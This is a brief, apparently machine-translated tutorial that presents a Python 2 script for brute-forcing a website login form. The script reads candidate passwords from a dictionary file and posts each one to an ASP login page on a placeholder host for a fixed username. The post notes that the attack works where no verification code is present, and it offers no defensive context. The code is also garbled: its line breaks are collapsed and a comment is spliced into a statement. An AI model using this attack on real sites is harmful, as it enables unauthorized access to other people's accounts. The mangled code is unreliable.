Use python for brute-force password cracking based on dictionary files and use python for brute-force password cracking. The program is very simple.
Note: If no verification code is available
Instance code:
# Encoding = utf-8import httplib, urllibconn = httplib. HTTPConnection ("www.xxx.cn") f = open ("dict.txt") while 1: pwd = f. readline (). strip () if not pwd: print 'The dictionary has been compared. 'Break params = urllib. urlencode ({'username': 'XXX', 'mod': '', 'password': pwd}) headers = {" Content-type ": "application/x-www-form-urlencoded", "Accept": "text/plain"} conn. request ("GET", "/login/aaa. asp ", params, headers) r = conn. getresponse () print r. status, r. reason data1 = r. read (). decode ('gbk') # Code print data1.index as needed (u'your entered password is incorrect '), 'Your password \' % s \ 'is incorrect' % pwdconn. close ()